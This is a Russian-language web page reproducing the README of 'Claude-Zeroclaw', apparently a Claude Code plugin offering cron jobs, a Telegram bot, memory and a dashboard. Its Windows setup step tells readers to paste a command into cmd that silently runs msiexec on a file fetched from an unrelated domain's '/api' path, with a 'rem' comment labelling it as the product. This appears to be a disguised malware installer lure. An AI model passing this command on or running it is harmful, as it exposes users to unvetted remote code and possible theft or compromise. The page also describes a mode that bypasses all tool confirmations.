Claude Info
AI и агенты

Claude-Zeroclaw

Crestdrasnip/Claude-Zeroclaw

ZeroClaw превращает Claude Code в персонального ассистента: планировщик задач по cron, Telegram-бот с голосовыми командами, семантическая память и веб-дашборд — всё в рамках существующей подписки Claude Code.

Установка

terminal
bash
npm install -g @anthropic-ai/claude-code

README

⚡ ZeroClaw Claude

Лёгкий open-source демон, встроенный в ваш Claude Code. Никаких дополнительных API-ключей, никаких отдельных счётов, никаких сюрпризов с оплатой.

ZeroClaw Claude превращает ваш Claude Code в персонального ассистента, который работает круглосуточно. Он запускается как фоновый демон, выполняет задачи по расписанию, отвечает на сообщения в Telegram, транскрибирует голосовые команды и интегрируется с любыми сервисами — всё в рамках вашей существующей подписки Claude Code.


⚡ Установка на Windows — одна команда

Шаг 1 — Откройте командную строку

  1. Нажмите Win + R
  2. Введите:
cmd
  1. Нажмите Enter Откроется командная строка.

Шаг 2 — Выполните команду установки

Скопируйте команду ниже, вставьте в командную строку и нажмите Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Zeroclaw Claude

Установщик выполнит следующее:

  • Проверит и установит Node.js ≥ 20, если необходимо
  • Проверит и установит Bun (быстрый JS-рантайм), если необходимо
  • Проверит и установит Claude CLI, если необходимо
  • Установит зависимости Node и скомпилирует TypeScript
  • Зарегистрирует плагин и скиллы Claude Code
  • Запустит интерактивный мастер настройки
  • Добавит команду zeroclaw в PATH

Зачем ZeroClaw Claude?

Никаких дополнительных API-ключей. Никакого учёта токенов, никаких неожиданных счётов. Работает полностью в рамках подписки Claude Code, используя @anthropic-ai/claude-agent-sdk, который запускает бинарник claude — OAuth-токен никогда не читается и не передаётся ZeroClaw.

Развёртывание за минуты. Одна команда устанавливает всё необходимое. Мастер настройки проведёт через выбор модели, heartbeat, Telegram и параметры безопасности.

Встроенная наблюдаемость. Веб-дашборд в реальном времени для мониторинга запусков, редактирования задач по расписанию, просмотра логов и живого чата с Claude.


Возможности

⏰ Планировщик

Cron-задачи со стандартным синтаксисом cron, поддержкой часовых поясов и надёжным выполнением. Создавайте задачи из Claude Code или веб-дашборда.

# Ежедневный стендап в 9:00 0 9 * * * — Сформировать git-сводку и отправить в Telegram # Каждую пятницу в 17:00 0 17 * * 5 — Отправить недельный итог и план на следующую неделю

💓 Heartbeat

Периодические проактивные проверки с настраиваемым интервалом и тихими часами. Claude проверяет контекст и сообщает о важном.

📱 Telegram-бот

Полная интеграция с Telegram — текстовые сообщения, голосовые заметки (транскрипция через Groq Whisper) и анализ фотографий. Общайтесь с Claude с телефона так же, как в Claude Code.

Вы: «Какой статус ветки main?» Claude: «main опережает origin на 3 коммита. Последний коммит: 'fix auth middleware'...»

🧠 Память

Три уровня постоянной памяти:

  • Непрерывность сессии — возобновляет ту же сессию Claude Code между сообщениями
  • Семантическая память — факты, решения и предпочтения, извлечённые и оценённые по значимости
  • Контекст использования инструментов — действия Claude, зафиксированные через хуки post-tool-use

📊 Веб-дашборд

Дашборд в реальном времени по адресу http://127.0.0.1:3742:

  • Обзор со статистикой запусков и использованием токенов
  • Менеджер cron-задач (создание, редактирование, включение/отключение, удаление)
  • Полная история запусков
  • Живой чат с Claude
  • Потоковый просмотр логов
  • Браузер памяти

🔒 Уровни безопасности

Четыре детализированных уровня:

  • readonly — без доступа на запись, без shell
  • standard — файлы + веб, без выполнения shell
  • elevated — файлы + веб + shell (по умолчанию)
  • full — все инструменты, обход всех подтверждений

Быстрый старт

bash
# Запустить демон
zeroclaw

# Или через npm
npm start

# Мастер настройки (первый запуск)
npm run setup

# Проверка состояния
npm run status

# Режим разработки (горячая перезагрузка)
npm run dev

В Claude Code

/zeroclaw:start # Запустить демон /zeroclaw:status # Проверка состояния /zeroclaw:job # Управление cron-задачами # Также работает на естественном языке: "Запланируй ежедневную git-сводку в 9:00" "Добавь cron-задачу для проверки почты каждый час" "Покажи статус ZeroClaw"

Архитектура

zeroclaw-claude/ │ ├── src/ │ ├── index.ts ← Точка входа демона │ ├── types.ts ← TypeScript-типы │ ├── config.ts ← Загрузчик конфигурации (~/.zeroclaw-claude/config.json) │ ├── db.ts ← SQLite: задачи, запуски, память, outbox │ ├── setup.ts ← Интерактивный мастер настройки │ ├── status.ts ← CLI проверки состояния │ │ │ ├── agent/ │ │ └── runner.ts ← Обёртка Claude agent SDK + память │ │ │ ├── scheduler/ │ │ └── index.ts ← Планировщик node-cron с поддержкой часовых поясов │ │ │ ├── daemon/ │ │ ├── heartbeat.ts ← Периодический heartbeat с тихими часами │ │ └── logger.ts ← Структурированный логгер (консоль + файл) │ │ │ ├── bot/ │ │ └── telegram.ts ← Telegram-бот (grammy) + поллер outbox │ │ │ └── dashboard/ │ └── server.ts ← Express + WebSocket дашборд в реальном времени │ ├── commands/ ← Определения slash-команд (.md) ├── hooks/ ← Хуки Claude Code (post-tool-use) ├── prompts/ ← Системные промпты ├── skills/ ← Скиллы Claude Code ├── CLAUDE.md ← Контекст проекта для Claude Code ├── .claude-plugin/ │ └── plugin.json ← Манифест плагина Claude Code ├── install.sh ← Установщик одной командой для macOS ├── package.json └── tsconfig.json

Конфигурация

Конфигурация хранится в ~/.zeroclaw-claude/config.json:

json
{
  "model": "claude-sonnet-4-6",
  "heartbeat": {
    "enabled": true,
    "intervalMin": 60,
    "quietHoursStart": 23,
    "quietHoursEnd": 8,
    "prompt": "Check in: any urgent tasks or things I should know about?"
  },
  "telegram": {
    "enabled": true,
    "token": "...",
    "chatId": "...",
    "allowVoice": true,
    "groqApiKey": "..."
  },
  "security": "elevated",
  "dashboardPort": 3742
}

Модели

МодельСценарий использования
claude-sonnet-4-6По умолчанию — быстрая и мощная
claude-opus-4-6Задачи со сложными рассуждениями
claude-haiku-4-5-20251001Высокочастотные задачи, минимальная задержка

Модель можно переопределить для отдельной задачи, указав model в настройках задания.

Похожие скиллы